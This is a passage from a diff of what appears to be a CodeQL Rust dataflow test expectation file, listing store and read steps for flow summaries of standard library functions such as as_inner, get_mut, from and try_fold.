lang:core::_::::local_waker | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::local_waker | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::waker | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::waker | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::trim | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::trim | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::::message | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::message | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::::spans | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::spans | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_encoded_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_encoded_bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::error | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::error | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::buffer | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::buffer | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::buffer_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::buffer_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_mut_os_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_mut_os_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_os_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_os_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_mut_os_string | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_mut_os_string | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_encoded_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_encoded_bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_file_desc | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_file_desc | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::env_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::env_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_argv | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_argv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_closures | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_closures | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::get_program_cstr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_program_cstr | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::thread | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::thread | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::thread | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::thread | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_cstr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_cstr | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::crate::sync::poison::mutex::guard_lock | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sync::poison::mutex::guard_lock | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::crate::sync::poison::mutex::guard_poison | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sync::poison::mutex::guard_poison | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::get | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::get | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::second | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::second | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-files::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-files::_::::deref | @@ -1644,12 +2994,19 @@ storeStep | main.rs:522:15:522:15 | b | &ref | main.rs:522:14:522:15 | &b | | main.rs:545:27:545:27 | 0 | Some | main.rs:545:22:545:28 | Some(...) | readStep +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Box(1) | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::boxed::Box(1)] in lang:alloc::_::::allocator | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:alloc::_::::allocator | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::into_inner | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::into_inner | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::merge_tracking_child_edge | Left | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::btree::node::LeftOrRight::Left(0)] in lang:alloc::_::::merge_tracking_child_edge | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::visit_nodes_in_order | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:alloc::_::::visit_nodes_in_order | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from_range | Excluded | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Bound::Excluded(0)] in lang:alloc::_::::from_range | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from_range | Included | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Bound::Included(0)] in lang:alloc::_::::from_range | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::clone_from | BTreeSet | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::append | LinkedList.tail | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::append | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::fold | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_rfold | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | @@ -1659,9 +3016,18 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_fold | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_fold | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Rc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Rc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Rc.ptr | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::ptr] in lang:alloc::_::::downgrade | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Arc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Arc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Arc.ptr | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::ptr] in lang:alloc::_::::downgrade | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | BinaryHeap | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | String | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::string::String::vec] in lang:alloc::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::new | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::new | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::replace | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::replace | | file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::take_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::take_mut | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::<_ as crate::array::SpecArrayClone>::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::<_ as crate::array::SpecArrayClone>::clone | @@ -1669,13 +3035,36 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::then | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::update | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::update | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::filter_map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | Ref.borrow | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::cell::Ref::borrow] in lang:core::_::::filter_map | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | Ref.borrow | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::cell::Ref::borrow] in lang:core::_::::map | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::filter_map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | RefMut.borrow | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::cell::RefMut::borrow] in lang:core::_::::filter_map | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | RefMut.borrow | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::cell::RefMut::borrow] in lang:core::_::::map | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::then_with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::then_with | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::with_copy | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::with_copy | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from_usize | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::from_usize | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::fold | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::fold | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::spec_fold | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::spec_fold | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::into_inner | ManuallyDrop | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::take | ManuallyDrop | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:core::_::::take | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::new | V4 | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::net::ip_addr::IpAddr::V4(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::new | V6 | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::net::ip_addr::IpAddr::V6(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::add | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::add | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::div_rem | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::div_rem | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::sub | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::sub | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::add | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::add | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::div_rem | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::div_rem | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::sub | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::sub | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from_residual | Break | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::from_residual | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_break | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_break | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_continue | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_continue | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Range.end | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::range::Range::end] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Range.start | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::range::Range::start] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::range::RangeFrom::start] in lang:core::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::and_then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::and_then | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_none_or | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_none_or | @@ -1686,6 +3075,15 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::unwrap_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::unwrap_or_else | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::into_inner | Pin | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::pin::Pin::__pointer] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::into_inner_unchecked | Pin | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::pin::Pin::__pointer] in lang:core::_::::into_inner_unchecked | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_unchecked | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in 